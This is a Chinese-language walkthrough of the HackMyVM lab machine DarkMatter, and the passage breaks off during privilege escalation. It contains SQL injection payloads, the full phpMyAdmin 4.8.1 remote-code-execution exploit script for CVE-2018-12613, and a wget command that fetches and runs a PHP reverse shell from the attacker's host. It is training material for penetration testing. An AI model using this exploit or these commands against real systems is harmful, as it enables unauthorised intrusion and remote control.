{"id":775,"date":"2024-08-09T09:00:56","date_gmt":"2024-08-09T01:00:56","guid":{"rendered":"http:\/\/162.14.82.114\/?p=775"},"modified":"2024-08-09T09:00:56","modified_gmt":"2024-08-09T01:00:56","slug":"hmv-_-darkmatter","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/775\/08\/09\/2024\/","title":{"rendered":"hmv[-_-]DarkMatter"},"content":{"rendered":"

DarkMatter<\/h1>\n

\"image-20240712183521190\"<\/div>
\n
\"image-20240808075827072\"<\/div><\/p>\n

\u4fe1\u606f\u641c\u96c6<\/h2>\n

\u7aef\u53e3\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ rustscan -a $IP -- -sCV \n.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.\n| {}  }| { } |{ {__ {_   _}{ {__  \/  ___} \/ {} \\ |  `| |\n| .-. \\| {_} |.-._} } | |  .-._} }\\     }\/  \/\\  \\| |\\  |\n`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'\nThe Modern Day Port Scanner.\n________________________________________\n: https:\/\/discord.gg\/GFrQsGy           :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\nNmap? More like slowmap.\ud83d\udc22\n\n[~] The config file is expected to be at "\/home\/kali\/.rustscan.toml"\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. \nOpen 172.20.10.6:22\nOpen 172.20.10.6:80\n\nPORT   STATE SERVICE REASON  VERSION\n22\/tcp open  ssh     syn-ack OpenSSH 8.4p1 Debian 5 (protocol 2.0)\n| ssh-hostkey: \n|   3072 54:42:86:67:e3:5b:74:e1:87:9c:4d:80:0a:59:f3:4d (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC\/810ntjvY+YKXdq1kS0tvwqkjPh5sOOZykJ9UwHRV6IxhocPDvUEbe5NQrYyuRX619\/5n1+Rd1JTpBU4y5jkmF8ioqWColdaUnXJKeo8zGd8g\/Jmc86hQuqT4\/\/fIc\/bhttQzjAQXGdasZnYK3Ro4tomYPZ1Jer9lge01rivQJIJhyst4iXFlJN7PqkLmuDrSOaM5ul7zQ9ffT2765rLiOKe74bYivwRmT3o+ktdx9OCsKfKQ1lNYdHoF\/+2hqAEvcYhljd+kO7MYRpFZq1S8Vx+GaX4rxsFwknYrSv2BRM7eGTpukW\/6Liy1FQe699mXgpEr4\/mK8VxKpXjgtzMsBWWenFB8EwEgHzWYx6YywiCG6yRr2IQfJ8pptyt8dEe18hjRlklIc6q4QlrLJD6YFPblvmSU4Y6cQVb8fkn8Y3kI4NoPpMrDFVSPT9ruqcdq7qv0CyCJMFqJo0J+cjipsA1FoRmoRiVdRV\/Ere0lMYF0Y6OPmueDJWyzVahuruE=\n|   256 b8:ae:fd:d6:01:e8:e4:0f:63:74:7c:ea:20:ac:fe:80 (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBK\/xU10I7Yc0KCO970yMzJv0Sqyhwlv+J2PL1roiJHyHxq\/DY71BX2m6PMvpiOlynikdFUBL7goPSpqhWTBAb9g=\n|   256 f6:40:de:a2:c3:ec:2f:e0:f0:b9:76:21:3e:ee:a7:5d (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINH3mv5b7iZ2z8NoJ773\/GrtGBCMgLymD0GbAXI4UWn\/\n80\/tcp open  http    syn-ack Apache httpd 2.4.51 ((Debian))\n|_http-title: Apache2 Debian Default Page: It works\n|_http-server-header: Apache\/2.4.51 (Debian)\n| http-methods: \n|_  Supported Methods: OPTIONS HEAD GET POST\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ gobuster dir -u http:\/\/$IP -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,txt -b 301,401,403,404                 \n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/172.20.10.6\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   301,401,403,404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              php,txt\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/robots.txt           (Status: 200) [Size: 14]\nProgress: 39466 \/ 661683 (5.96%)[ERROR] Get "http:\/\/172.20.10.6\/index_4": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/172.20.10.6\/Install.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/172.20.10.6\/prodotti.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\nProgress: 206416 \/ 661683 (31.20%)[ERROR] Get "http:\/\/172.20.10.6\/navbottom_corner.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/172.20.10.6\/namevoyager.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/172.20.10.6\/navbottom_corner": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\nProgress: 238605 \/ 661683 (36.06%)[ERROR] Get "http:\/\/172.20.10.6\/tattoo-removal.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\nProgress: 248356 \/ 661683 (37.53%)^C\n[!] Keyboard interrupt detected, terminating.\nProgress: 248412 \/ 661683 (37.54%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n
\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n
\u8e29\u70b9<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ curl -s http:\/\/$IP | html2text\n\n[Debian Logo]  Apache2 Debian Default Page\nIt works!\nThis is the default welcome page used to test the correct operation of the\nApache2 server after installation on Debian systems. If you can read this page,\nit means that the Apache HTTP server installed at this site is working\nproperly. You should replace this file (located at \/var\/www\/html\/index.html)\nbefore continuing to operate your HTTP server.\n........<\/code><\/pre>\n
\u654f\u611f\u76ee\u5f55\u63a2\u7d22<\/h3>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ curl -s http:\/\/$IP\/robots.txt \n\/p4ssw0rd.txt\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ curl -s http:\/\/$IP\/p4ssw0rd.txt\nHere is the Password = th3-!llum!n@t0r\n\nDon't forget to add "darkmatter.hmv" in your local Machine<\/code><\/pre>\n
\u4fe1\u606f\u641c\u96c6<\/h3>\n
\u6dfb\u52a0dns\u89e3\u6790\uff0c\u91cd\u65b0\u626b\u63cf\u4e00\u4e0b\uff1a<\/p>\n
172.20.10.6   darkmatter.hmv<\/code><\/pre>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ gobuster dir -u http:\/\/darkmatter.hmv -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,txt,html -b 301,401,403,404 \n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/darkmatter.hmv\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   301,401,403,404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              php,txt,html\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/index.html           (Status: 200) [Size: 10701]\n\/robots.txt           (Status: 200) [Size: 14]\nProgress: 109078 \/ 882244 (12.36%)[ERROR] Get "http:\/\/darkmatter.hmv\/sergey.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/darkmatter.hmv\/sergey": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\nProgress: 110783 \/ 882244 (12.56%)[ERROR] Get "http:\/\/darkmatter.hmv\/ITN_button.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/darkmatter.hmv\/yahoo-shopping_120x60": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/darkmatter.hmv\/4986": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/darkmatter.hmv\/4986.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/darkmatter.hmv\/4986.html": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/darkmatter.hmv\/ITN_button": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\nProgress: 143617 \/ 882244 (16.28%)<\/code><\/pre>\n
\u61d2\u5f97\u626b\u4e86\uff0c\u7ee7\u7eed\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ curl -s http:\/\/darkmatter.hmv | html2text\n\n[Debian Logo]  Apache2 Debian Default Page\nIt works!\nThis is the default welcome page used to test the correct operation of the\nApache2 server after installation on Debian systems. If you can read this page,\nit means that the Apache HTTP server installed at this site is working\nproperly. You should replace this file (located at \/var\/www\/html\/index.html)\nbefore continuing to operate your HTTP server.\nIf you are a normal user of this web site and don't know what this page is\nabout, this probably means that the site is currently unavailable due to\nmaintenance. If the problem persists, please contact the site's administrator.\nConfiguration Overview<\/code><\/pre>\n
\u5c1d\u8bd5 fuzz \u4e00\u4e0bdns\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ wfuzz -u http:\/\/darkmatter.hmv -c -w \/usr\/share\/seclists\/Discovery\/DNS\/subdomains-top1million-110000.txt -H "Host: FUZZ.darkmatter.hmv" --hw 933 2>\/dev\/null\n********************************************************\n* Wfuzz 3.1.0 - The Web Fuzzer                         *\n********************************************************\n\nTarget: http:\/\/darkmatter.hmv\/\nTotal requests: 114441\n\n=====================================================================\nID           Response   Lines    Word       Chars       Payload                                                                                                                     \n=====================================================================\n000005051:   200        57 L     128 W      2481 Ch     "dark"\n000009532:   400        10 L     35 W       301 Ch      "#www"\n000010581:   400        10 L     35 W       301 Ch      "#mail"\n000047706:   400        10 L     35 W       301 Ch      "#smtp"\n000103135:   400        10 L     35 W       301 Ch      "#pop3"\n\nTotal time: 209.3793\nProcessed Requests: 114441\nFiltered Requests: 114436\nRequests\/sec.: 546.5726<\/code><\/pre>\n
\u5c1d\u8bd5\u6dfb\u52a0dns\u8fdb\u884c\u8fdb\u4e00\u6b65\u626b\u63cf\uff1a<\/p>\n
172.20.10.6   dark.darkmatter.hmv<\/code><\/pre>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ gobuster dir -u http:\/\/dark.darkmatter.hmv -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,txt -b 301,401,403,404\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/dark.darkmatter.hmv\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   401,403,404,301\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              php,txt\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/index.php            (Status: 200) [Size: 2481]\n\/blog.php             (Status: 200) [Size: 8433]\n\/home.php             (Status: 200) [Size: 4459]\n\/register.php         (Status: 200) [Size: 5602]\n\/login.php            (Status: 200) [Size: 4117]\n\/header.php           (Status: 200) [Size: 272]\n\/profile.php          (Status: 302) [Size: 3692] [--> login.php]\n\/footer.php           (Status: 200) [Size: 350]\n\/update.php           (Status: 302) [Size: 644] [--> login.php]\n\/status.php           (Status: 302) [Size: 3225] [--> login.php]\n\/logout.php           (Status: 302) [Size: 0] [--> login.php]\n\/navbar.php           (Status: 200) [Size: 1766]\n\/manage.php           (Status: 302) [Size: 4045] [--> login.php]\nProgress: 19853 \/ 661683 (3.00%)[ERROR] Get "http:\/\/dark.darkmatter.hmv\/stunnel.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/dark.darkmatter.hmv\/current_affairs.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/dark.darkmatter.hmv\/969.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/dark.darkmatter.hmv\/969.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\n[ERROR] Get "http:\/\/dark.darkmatter.hmv\/current_affairs": context deadline exceeded (Client.Timeout exceeded while awaiting headers)\nProgress: 25750 \/ 661683 (3.89%)\n[!] Keyboard interrupt detected, terminating.\nProgress: 25777 \/ 661683 (3.90%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ whatweb http:\/\/dark.darkmatter.hmv\nhttp:\/\/dark.darkmatter.hmv [200 OK] Apache[2.4.51], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache\/2.4.51 (Debian)], IP[172.20.10.6], JQuery, Script, Title[Demooo]<\/code><\/pre>\n
\"image-20240808092403527\"<\/div><\/p>\n
\u5c1d\u8bd5\u6ce8\u518c\u4e00\u4e0b\uff1a<\/p>\n
\"image-20240808092538103\"<\/div>
\n
\"image-20240808092559176\"<\/div>
\n
\"image-20240808092718164\"<\/div><\/p>\n
\u4e5f\u4e0d\u884c\uff0c\u5e94\u8be5\u4e0d\u4f1a\u771f\u8981\u627e\u4e2a\u90ae\u7bb1\u641e\u5427\uff0c\u8bd5\u8bd5\u672c\u5730\u90ae\u7bb1\uff1f<\/p>\n
\"image-20240808092928277\"<\/div><\/p>\n
\u53d1\u73b0\u6210\u529f\u4e86\uff0c\u5c1d\u8bd5\u767b\u5f55\u3002<\/p>\n
\"image-20240808093009458\"<\/div><\/p>\n
\u5728blog\u627e\u5230\u4e86\u4e00\u4e9b\u7528\u6237\u540d\uff0c\u770b\u8d77\u6765\u50cf\u662f\u540d\u4eba\u540d\u8a00\uff0c\u6682\u65f6\u5148\u4e0d\u7528\uff0c\u770b\u4e00\u4e0b\u654f\u611f\u76ee\u5f55\uff1a<\/p>\n
# http:\/\/dark.darkmatter.hmv\/navbar.php\n\u6ca1\u4e1c\u897f<\/code><\/pre>\n
\"image-20240808093513408\"<\/div><\/p>\n
sql\u6ce8\u5165<\/h3>\n
\u5c1d\u8bd5\u770b\u4e00\u4e0b\u76f8\u5173\u4fe1\u606f\uff0c\u70b9\u4e00\u4e0bupdate\uff1a<\/p>\n
http:\/\/dark.darkmatter.hmv\/update.php?id=5<\/code><\/pre>\n
\u5c1d\u8bd5\u8fdb\u884c\u6ce8\u5165\uff08\u624b\u52a8\u8bd5\u4e86\u51e0\u4e0b\u6ca1\u51fa\u6765\uff09\uff0c\u8fd9\u4e2a\u5de5\u5177\u548csqlmap\u4e00\u6837\uff0c\u53ea\u662f\u56e0\u4e3a\u5dee\u751f\u6587\u5177\u591a\uff0c\u54c8\u54c8\u54c8\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ ghauri -u "http:\/\/dark.darkmatter.hmv\/update.php?id=5" --cookie "PHPSESSID=c5nvi9jb2jfjfsf1lq403snpns" --batch \n---\nParameter: id (GET)\n    Type: boolean-based blind\n    Title: AND boolean-based blind - WHERE or HAVING clause\n    Payload: id=5' AND 02477=2477-- wXyW\n\n    Type: time-based blind\n    Title: MySQL >= 5.0.12 time-based blind (IF - comment)\n    Payload: id=5'XOR(if(now()=sysdate(),SLEEP(8),0))XOR'Z\n---\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ sqlmap -u "http:\/\/dark.darkmatter.hmv\/update.php?id=5" --cookie "PHPSESSID=c5nvi9jb2jfjfsf1lq403snpns" --batch\n---\nParameter: id (GET)\n    Type: boolean-based blind\n    Title: AND boolean-based blind - WHERE or HAVING clause\n    Payload: id=5' AND 5111=5111 AND 'BHBW'='BHBW\n\n    Type: time-based blind\n    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: id=5' AND (SELECT 6907 FROM (SELECT(SLEEP(5)))SUJr) AND 'Wzgo'='Wzgo\n\n    Type: UNION query\n    Title: Generic UNION query (NULL) - 6 columns\n    Payload: id=5' UNION ALL SELECT NULL,CONCAT(0x7178707071,0x485a426d6f59676875437859506c52746a736642624a6d7069504a676f466a4f4a504d4a4c684c74,0x7178767a71),NULL,NULL,NULL,NULL-- -\n---\n\n# sqlmap -u "http:\/\/dark.darkmatter.hmv\/update.php?id=5" --cookie "PHPSESSID=c5nvi9jb2jfjfsf1lq403snpns" --batch --dbs\navailable databases [4]:\n[*] information_schema\n[*] mysql\n[*] performance_schema\n[*] phpmyadmin\n\n# sqlmap -u "http:\/\/dark.darkmatter.hmv\/update.php?id=5" --cookie "PHPSESSID=c5nvi9jb2jfjfsf1lq403snpns" --batch -D phpmyadmin --tables\n+------------------------+\n| pma__bookmark          |\n| pma__central_columns   |\n| pma__column_info       |\n| pma__designer_settings |\n| pma__export_templates  |\n| pma__favorite          |\n| pma__history           |\n| pma__navigationhiding  |\n| pma__pdf_pages         |\n| pma__recent            |\n| pma__relation          |\n| pma__savedsearches     |\n| pma__table_coords      |\n| pma__table_info        |\n| pma__table_uiprefs     |\n| pma__tracking          |\n| pma__userconfig        |\n| pma__usergroups        |\n| pma__users             |\n+------------------------+\n\n# sqlmap -u "http:\/\/dark.darkmatter.hmv\/update.php?id=5" --cookie "PHPSESSID=c5nvi9jb2jfjfsf1lq403snpns" --batch -D phpmyadmin -T pma__userconfig --dump\n+----------+---------------------+-------------------------------+\n| username | timevalue           | config_data                   |\n+----------+---------------------+-------------------------------+\n| pam      | 2021-11-14 05:58:36 | {"Console\\\\\/Mode":"collapse"} |\n+----------+---------------------+-------------------------------+<\/code><\/pre>\n
\u53d1\u73b0\u5b58\u5728 phpmyadmin\uff0c\u627e\u5230\u4e00\u4e2a\u7528\u6237\u540d\uff0c\u5c1d\u8bd5\u767b\u5f55\uff1a<\/p>\n
pam\nth3-!llum!n@t0r<\/code><\/pre>\n
\"image-20240808100403692\"<\/div><\/p>\n
\u770b\u4e00\u4e0b\u7248\u672c\u53f74.8.1<\/code>\uff0c\u770b\u4e00\u4e0b\u662f\u5426\u6709\u6f0f\u6d1e\uff0c\u8fd9\u4e2a\u7ec4\u4ef6\u4e5f\u662f\u91cd\u707e\u533a\u3002\u3002<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ searchsploit phpmyadmin 4.8.1\n----------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title                                                                                                                                             |  Path\n----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------\nphpMyAdmin 4.8.1 - (Authenticated) Local File Inclusion (1)                                                                                                | php\/webapps\/44924.txt\nphpMyAdmin 4.8.1 - (Authenticated) Local File Inclusion (2)                                                                                                | php\/webapps\/44928.txt\nphpMyAdmin 4.8.1 - Remote Code Execution (RCE)                                                                                                             | php\/webapps\/50457.py\n----------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------Shellcodes: No Results\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ searchsploit -m php\/webapps\/50457.py\n  Exploit: phpMyAdmin 4.8.1 - Remote Code Execution (RCE)\n      URL: https:\/\/www.exploit-db.com\/exploits\/50457\n     Path: \/usr\/share\/exploitdb\/exploits\/php\/webapps\/50457.py\n    Codes: CVE-2018-12613\n Verified: True\nFile Type: Python script, ASCII text executable\nCopied to: \/home\/kali\/temp\/DarkMatter\/50457.py\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ cat 50457.py                                                                            \n# Exploit Title: phpMyAdmin 4.8.1 - Remote Code Execution (RCE)\n# Date: 17\/08\/2021\n# Exploit Author: samguy\n# Vulnerability Discovery By: ChaMd5 & Henry Huang\n# Vendor Homepage: http:\/\/www.phpmyadmin.net\n# Software Link: https:\/\/github.com\/phpmyadmin\/phpmyadmin\/archive\/RELEASE_4_8_1.tar.gz\n# Version: 4.8.1\n# Tested on: Linux - Debian Buster (PHP 7.3)\n# CVE : CVE-2018-12613\n\n#!\/usr\/bin\/env python\n\nimport re, requests, sys\n\n# check python major version\nif sys.version_info.major == 3:\n  import html\nelse:\n  from six.moves.html_parser import HTMLParser\n  html = HTMLParser()\n\nif len(sys.argv) < 7:\n  usage = """Usage: {} [ipaddr] [port] [path] [username] [password] [command]\nExample: {} 192.168.56.65 8080 \/phpmyadmin username password whoami"""\n  print(usage.format(sys.argv[0],sys.argv[0]))\n  exit()\n\ndef get_token(content):\n  s = re.search('token"\\s*value="(.*?)"', content)\n  token = html.unescape(s.group(1))\n  return token\n\nipaddr = sys.argv[1]\nport = sys.argv[2]\npath = sys.argv[3]\nusername = sys.argv[4]\npassword = sys.argv[5]\ncommand = sys.argv[6]\n\nurl = "http:\/\/{}:{}{}".format(ipaddr,port,path)\n\n# 1st req: check login page and version\nurl1 = url + "\/index.php"\nr = requests.get(url1)\ncontent = r.content.decode('utf-8')\nif r.status_code != 200:\n  print("Unable to find the version")\n  exit()\n\ns = re.search('PMA_VERSION:"(\\d+\\.\\d+\\.\\d+)"', content)\nversion = s.group(1)\nif version != "4.8.0" and version != "4.8.1":\n  print("The target is not exploitable".format(version))\n  exit()\n\n# get 1st token and cookie\ncookies = r.cookies\ntoken = get_token(content)\n\n# 2nd req: login\np = {'token': token, 'pma_username': username, 'pma_password': password}\nr = requests.post(url1, cookies = cookies, data = p)\ncontent = r.content.decode('utf-8')\ns = re.search('logged_in:(\\w+),', content)\nlogged_in = s.group(1)\nif logged_in == "false":\n  print("Authentication failed")\n  exit()\n\n# get 2nd token and cookie\ncookies = r.cookies\ntoken = get_token(content)\n\n# 3rd req: execute query\nurl2 = url + "\/import.php"\n# payload\npayload = '''select '<?php system("{}") ?>';'''.format(command)\np = {'table':'', 'token': token, 'sql_query': payload }\nr = requests.post(url2, cookies = cookies, data = p)\nif r.status_code != 200:\n  print("Query failed")\n  exit()\n\n# 4th req: execute payload\nsession_id = cookies.get_dict()['phpMyAdmin']\nurl3 = url + "\/index.php?target=db_sql.php%253f\/..\/..\/..\/..\/..\/..\/..\/..\/var\/lib\/php\/sessions\/sess_{}".format(session_id)\nr = requests.get(url3, cookies = cookies)\nif r.status_code != 200:\n  print("Exploit failed")\n  exit()\n\n# get result\ncontent = r.content.decode('utf-8', errors="replace")\ns = re.search("select '(.*?)\\n'", content, re.DOTALL)\nif s != None:\n  print(s.group(1))<\/code><\/pre>\n
18\u5e74\u7684\u6d1e\uff0c\u9776\u573a\u662f21\u5e74\u7684\uff0c\u53ef\u80fd\u662f\u8fd9\u4e2a\uff0c\u5c1d\u8bd5\u4e00\u4e0b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ python3 50457.py 172.20.10.6 80 \/phpmyadmin pam 'th3-!llum!n@t0r' whoami\nwww-data<\/code><\/pre>\n
\u53ef\u4ee5\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0c\u5c1d\u8bd5\u53cd\u5f39shell\u3002<\/p>\n
# python3 50457.py 172.20.10.6 80 \/phpmyadmin pam 'th3-!llum!n@t0r' 'whoami;id'\nwww-data\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n\n# python3 50457.py 172.20.10.6 80 \/phpmyadmin pam 'th3-!llum!n@t0r' 'cat \/etc\/passwd'      \nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-timesync:x:101:101:systemd Time Synchronization,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-network:x:102:103:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-resolve:x:103:104:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin\nmessagebus:x:104:110::\/nonexistent:\/usr\/sbin\/nologin\navahi-autoipd:x:105:113:Avahi autoip daemon,,,:\/var\/lib\/avahi-autoipd:\/usr\/sbin\/nologin\nsshd:x:106:65534::\/run\/sshd:\/usr\/sbin\/nologin\ndarkenergy:x:1000:1000:DarkEnergy,,,:\/home\/darkenergy:\/bin\/bash\nsystemd-coredump:x:999:999:systemd Core Dumper:\/:\/usr\/sbin\/nologin\nmysql:x:107:115:MySQL Server,,,:\/nonexistent:\/bin\/false<\/code><\/pre>\n
\u5c1d\u8bd5\u53cd\u5f39shell\uff1a<\/p>\n
# kali\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp]\n\u2514\u2500$ python3 -m http.server 8888\nServing HTTP on 0.0.0.0 port 8888 (http:\/\/0.0.0.0:8888\/) ...\n172.20.10.6 - - [07\/Aug\/2024 22:26:34] "GET \/revshell.php HTTP\/1.1" 200 -\n^C\nKeyboard interrupt received, exiting.\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp]\n\u2514\u2500$ head revshell.php                                                  \n\n  <?php\n  \/\/ php-reverse-shell - A Reverse Shell implementation in PHP\n  \/\/ Copyright (C) 2007 pentestmonkey@pentestmonkey.net\n\n  set_time_limit (0);\n  $VERSION = "1.0";\n  $ip = '172.20.10.8';  \/\/ You have changed this\n  $port = 1234;  \/\/ And this\n  $chunk_size = 1400;<\/code><\/pre>\n
# attacked\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/DarkMatter]\n\u2514\u2500$ python3 50457.py 172.20.10.6 80 \/phpmyadmin pam 'th3-!llum!n@t0r' 'cd \/tmp;wget http:\/\/172.20.10.8:8888\/revshell.php;chmod +x revshell.php;php revshell.php'<\/code><\/pre>\n
\"image-20240808102745706\"<\/div><\/p>\n
\u63d0\u6743<\/h2>\n
\u4fe1\u606f\u641c\u96c6<\/h3>\n
(remote) www-data@DarkMatter:\/$ ls -la\ntotal 68\ndrwxr-xr-x  18 root root  4096 Nov 10  2021 .\ndrwxr-xr-x  18 root root  4096 Nov 10  2021 ..\nlrwxrwxrwx   1 root root     7 Nov 10  2021 bin -> usr\/bin\ndrwxr-xr-x   3 root root  4096 Nov 10  2021 boot\ndrwxr-xr-x  17 root root  3140 Aug  7 19:57 dev\ndrwxr-xr-x  78 root root  4096 Aug  7 19:57 etc\ndrwxr-xr-x   3 root root  4096 Nov 10  2021 home\nlrwxrwxrwx   1 root root    30 Nov 10  2021 initrd.img -> boot\/initrd.img-5.10.0-9-amd64\nlrwxrwxrwx   1 root root    30 Nov 10  2021 initrd.img.old -> boot\/initrd.img-5.10.0-9-amd64\nlrwxrwxrwx   1 root root     7 Nov 10  2021 lib -> usr\/lib\nlrwxrwxrwx   1 root root     9 Nov 10  2021 lib32 -> usr\/lib32\nlrwxrwxrwx   1 root root     9 Nov 10  2021 lib64 -> usr\/lib64\nlrwxrwxrwx   1 root root    10 Nov 10  2021 libx32 -> usr\/libx32\ndrwx------   2 root root 16384 Nov 10  2021 lost+found\ndrwxr-xr-x   3 root root  4096 Nov 10  2021 media\ndrwxr-xr-x   2 root root  4096 Nov 10  2021 